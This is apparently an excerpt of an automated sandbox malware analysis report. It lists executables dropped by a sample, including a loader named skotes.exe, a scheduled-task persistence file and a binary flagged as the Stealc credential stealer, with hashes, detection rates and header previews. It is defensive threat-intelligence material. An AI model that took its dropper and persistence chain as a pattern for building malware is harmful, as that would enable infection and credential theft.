Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2937856
Entropy (8bit):	6.5489912073067815
Encrypted:	false
SSDEEP:	49152:mlxmP5J2iVX8OHBTEjXx6ZSRjgLTS3gI4ix3bJpkjjQ:SAP5J2iVXbHBTEjXx6ZSpsTE/brkjj
MD5:	EA1B8BAFCB99BC660562BCB5F4CB63F3
SHA1:	CC97F694826C90CC8C8BD9666066EC491828D401
SHA-256:	C340F6CCCE063FD78345F78E8C1970A5D6E170192CDBD20E5B48884F7268BD37
SHA-512:	AAA32B5217DE08BAAB1AB09E2C22F5F71374AF6B02143E4B69341A66A0B1BB8E0B31E5DD4A4F33CE35CF4D2D1015EBF043CEF6F958BF695CB1B2F7CA2E8E2309
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............/...........@...........................0......_-...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...rdpqavxy. ........................@...vlmkkwpy....../.......,.............@....taggant.0..../.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.5846822413077835
Encrypted:	false
SSDEEP:	12288:rqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/T7:rqDEvCTbMWu7rQYlBQcBiT6rprG8ab7
MD5:	47E53A1655BB6D29868F5A784F62177D
SHA1:	132B0DF160A02064F3F8E6A506118CD380A3F5EE
SHA-256:	06EBEF8676C90791D679ECB47B67E33DA9908034B529EAB7D278530EAB431D8B
SHA-512:	6A810984B66A70DB73FE6548911A3E002A1EFC1FCE188946C3BEB2DDA6190B44124A3179379D48032D7B545D1DF430531F1D406F4C0AF7AFBEF544C542803AC7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...9.$g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2126336
Entropy (8bit):	7.959238899149466
Encrypted:	false
SSDEEP:	49152:H5N3S9xKFwDyNDflUSreJuuCvOQnJYmNh+s:H5hS9xK+DyNDNH9u+BNh+s
MD5:	E71C5AEE12EE323FC4F40010437D4186
SHA1:	6389BDA37CEE4CA4724306CFA8A73FF318713DE3
SHA-256:	05D8C0BF7ACBC23D2A49073D4CDDE8547526BB55B6893F21C4753CC8800B0A8E
SHA-512:	D3F0A9CF2EB19F1573B289BFDA2C3D0E11AACBC334F4A8C09318E9379568FE5DB15EBE5A6DB6F102168A14E1255D6949F3EDBCBEB7699A0ECBD35F2D8D5F0D9C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@...........................r.....RR!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...dcpywpmo......X.....................@...ghlarfhj.....pr......L .............@....taggant.0....r.."...P .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2937856
Entropy (8bit):	6.5489912073067815
Encrypted:	false
SSDEEP:	49152:mlxmP5J2iVX8OHBTEjXx6ZSRjgLTS3gI4ix3bJpkjjQ:SAP5J2iVXbHBTEjXx6ZSpsTE/brkjj
MD5:	EA1B8BAFCB99BC660562BCB5F4CB63F3
SHA1:	CC97F694826C90CC8C8BD9666066EC491828D401
SHA-256:	C340F6CCCE063FD78345F78E8C1970A5D6E170192CDBD20E5B48884F7268BD37
SHA-512:	AAA32B5217DE08BAAB1AB09E2C22F5F71374AF6B02143E4B69341A66A0B1BB8E0B31E5DD4A4F33CE35CF4D2D1015EBF043CEF6F958BF695CB1B2F7CA2E8E2309
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............/...........@...........................0......_-...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...rdpqavxy. ........................@...vlmkkwpy....../.......,.............@....taggant.0..../.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2126336
Entropy (8bit):	7.959238899149466
Encrypted:	false
SSDEEP:	49152:H5N3S9xKFwDyNDflUSreJuuCvOQnJYmNh+s:H5hS9xK+DyNDNH9u+BNh+s
MD5:	E71C5AEE12EE323FC4F40010437D4186
SHA1:	6389BDA37CEE4CA4724306CFA8A73FF318713DE3
SHA-256:	05D8C0BF7ACBC23D2A49073D4CDDE8547526BB55B6893F21C4753CC8800B0A8E
SHA-512:	D3F0A9CF2EB19F1573B289BFDA2C3D0E11AACBC334F4A8C09318E9379568FE5DB15EBE5A6DB6F102168A14E1255D6949F3EDBCBEB7699A0ECBD35F2D8D5F0D9C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@...........................r.....RR!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...dcpywpmo......X.....................@...ghlarfhj.....pr......L .............@....taggant.0....r.."...P .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.5846822413077835
Encrypted:	false
SSDEEP:	12288:rqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/T7:rqDEvCTbMWu7rQYlBQcBiT6rprG8ab7
MD5:	47E53A1655BB6D29868F5A784F62177D
SHA1:	132B0DF160A02064F3F8E6A506118CD380A3F5EE
SHA-256:	06EBEF8676C90791D679ECB47B67E33DA9908034B529EAB7D278530EAB431D8B
SHA-512:	6A810984B66A70DB73FE6548911A3E002A1EFC1FCE188946C3BEB2DDA6190B44124A3179379D48032D7B545D1DF430531F1D406F4C0AF7AFBEF544C542803AC7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...9.$g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003159001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1884672
Entropy (8bit):	7.948776245885388
Encrypted:	false
SSDEEP:	49152:bHWBQg2Rh7VudjY8c7ZfUQN8BqM5GYJhI6sByEhXlY:qQggRuds3mnd5GShIBsw1Y
MD5:	36F337DF5AF6FC1D820E0F111A73C352
SHA1:	3764D9AAE67D662B8787BE76DD3E5CD1210AC992
SHA-256:	D374325181508865D937442398A02BDF371EAA7C74CC04CF975B3238C46EC57A
SHA-512:	FDA75FD4E734A59F420445776F9F121B6CE08FD6A6068E63EF784B3BA065B9D84E43181B7FF8B28D6BB1B65B13A41049DA98F4EDFCBABFDA039F0B29BAAE741F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J.....].....@.................................W...k.......D...................PdJ..............................dJ..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...npluczcb......0.....................@...cveucipf.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2787328
Entropy (8bit):	6.5031401472108525
Encrypted:	false
SSDEEP:	49152:f73MlTl0ZHmOaMbny+OkO+7bMWRzJd4KZD7vU04:f7ITOZGO/bny+OkRPMK5s0
MD5:	6989522DFAD3FB3983E6A357C5D32447
SHA1:	62D42BD74881A117FF8C9692635376CD1656C01D
SHA-256:	BA62A0A1A381D3D221DD640AC3A099005A46A603DFA264CDA4E1D722847F1388
SHA-512:	8E0D629740172F0B5948ED5B02553D313B1E58E1EE39E55B341722B03228EDC5879D910D370B913D45911487DC447FA3AEBA771AC6834311490893C65BAB1134
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. .......................@+..........`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...jvktfkik.@......(..:..............@...lwlhqnbq. ..........b.............@....taggant.@....+.."...f.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1884672
Entropy (8bit):	7.948776245885388
Encrypted:	false
SSDEEP:	49152:bHWBQg2Rh7VudjY8c7ZfUQN8BqM5GYJhI6sByEhXlY:qQggRuds3mnd5GShIBsw1Y
MD5:	36F337DF5AF6FC1D820E0F111A73C352
SHA1:	3764D9AAE67D662B8787BE76DD3E5CD1210AC992
SHA-256:	D374325181508865D937442398A02BDF371EAA7C74CC04CF975B3238C46EC57A
SHA-512:	FDA75FD4E734A59F420445776F9F121B6CE08FD6A6068E63EF784B3BA065B9D84E43181B7FF8B28D6BB1B65B13A41049DA98F4EDFCBABFDA039F0B29BAAE741F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J.....].....@.................................W...k.......D...................PdJ..............................dJ..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...npluczcb......0.....................@...cveucipf.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035699946889726504
Encrypted:	false
SSDEEP:	3:GtlstFaL3qOKkYmIA94tlstFaL3qOKkYmIAlXJ89//alEl:GtWtYLlKkLIY4tWtYLlKkLIAXJ89XuM
MD5:	D9DBBF50667A715BF091FF88EB0B192F
SHA1:	761147CFE5F9B04C3557399C67E4FE42181A9140
SHA-256:	00E47ABE00295E6CC6F1C05B8A94795BD48B1BAD1216ECA7EA1BD633E16B5DC9
SHA-512:	B5140C613384833F4BB860C7C1D7D26BA46AA4FFC0E32D69B2634DDF784F4211ABB6CC0C895B651CD8840B41FBD511080C697381B0652429E5F78F70C4362200
Malicious:	false
Preview:	..-........................u[.......zb..Y....m.%..-........................u[.......zb..Y....m.%........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.03995818625313585
Encrypted:	false
SSDEEP:	3:Ol1+HE99lyllffcMQKowRvtll8rEXsxdwhml8XW3R2:K4kAlNPVDl8dMhm93w
MD5:	ED8B8652E096F98DC9637155044F2674
SHA1:	CAB18F81B0B6141EE3EE210607CFE8704A52920B
SHA-256:	17AE924CF6410A195C6C91EF9C2D4D7923D2C938D574CF8427B5B655BF3B929E
SHA-512:	27CB9AB1EE1966D536F08E5E10507C2C27CD0E5EAF789FDB1FD5000BC90471CE0D829E72E605BD568C077D1845D65A4B69FE0A8E6AFFDFA004F476A905A88C74
Malicious:	false
Preview:	7....-..............zb..Y.................zb..u.....[................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9884
Entropy (8bit):	5.515104965998475
Encrypted:	false
SSDEEP:	192:lvnSRkGYbBp6XqUCaXr6VqkHNBw8dknSl:YeAqUWJPwZ0
MD5:	CF8AF9B287DAF3A275185CAA35D62ADC
SHA1:	60A7178FFCCDB2D938198A878F51FD3D0EA2E6F9
SHA-256:	0C825698ECD4265C022323EB06190557514E8F679C53B86ADE2678B42C348140
SHA-512:	48C3CF1E1125A9AF10A60E13706F1C95F2071B5EFBE7B7A2049FB6EE0B443E3A76E8551883A25A11594FCC846C07157D5623168A13BBF0264835DDA0AE11A78B
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9884
Entropy (8bit):	5.515104965998475
Encrypted:	false
SSDEEP:	192:lvnSRkGYbBp6XqUCaXr6VqkHNBw8dknSl:YeAqUWJPwZ0
MD5:	CF8AF9B287DAF3A275185CAA35D62ADC
SHA1:	60A7178FFCCDB2D938198A878F51FD3D0EA2E6F9
SHA-256:	0C825698ECD4265C022323EB06190557514E8F679C53B86ADE2678B42C348140
SHA-512:	48C3CF1E1125A9AF10A60E13706F1C95F2071B5EFBE7B7A2049FB6EE0B443E3A76E8551883A25A11594FCC846C07157D5623168A13BBF0264835DDA0AE11A78B
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.464341832721987
Encrypted:	false
SSDEEP:	6:Lk/wl/DZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lBss1ut0:QwJlvJQ1CGAFMkXd8kX+VBssct0
MD5:	85A34FB43008C2B887DD3E651E7DA8A5
SHA1:	6F033EC6E41F97C6E83935A5F92845FFEBF56ABC
SHA-256:	285B3DEAFFA8971B3141222A90141A877A504AA115DEE84B8AE84316107509A6
SHA-512:	9CD7F7DFB61996E2400500CF2BAD9AE3F83F9788FCF5E23540D3D20C2AF7356CE0E085CAB5C2917B7DF6A5DE7017E371212BC84B48C94EFD7FDB5453A64A9759
Malicious:	false
Preview:	.....<....bF.2.8..\|*F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.5489912073067815
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'937'856 bytes
MD5:	ea1b8bafcb99bc660562bcb5f4cb63f3
SHA1:	cc97f694826c90cc8c8bd9666066ec491828d401
SHA256:	c340f6ccce063fd78345f78e8c1970a5d6e170192cdbd20e5b48884f7268bd37
SHA512:	aaa32b5217de08baab1ab09e2c22f5f71374af6b02143e4b69341a66a0b1bb8e0b31e5dd4a4f33ce35cf4d2d1015ebf043cef6f958bf695cb1b2f7ca2e8e2309
SSDEEP:	49152:mlxmP5J2iVX8OHBTEjXx6ZSRjgLTS3gI4ix3bJpkjjQ:SAP5J2iVXbHBTEjXx6ZSpsTE/brkjj
TLSH:	6CD54DA1740971CFD48E17F4993BCE826D5D47B9071049CBD86C66BABDA3CC227BAC24
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............/...........@...........................0......_-...@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x6fe000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD4D8B2B08Ah
lss ebp, dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FD4D8B2D085h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
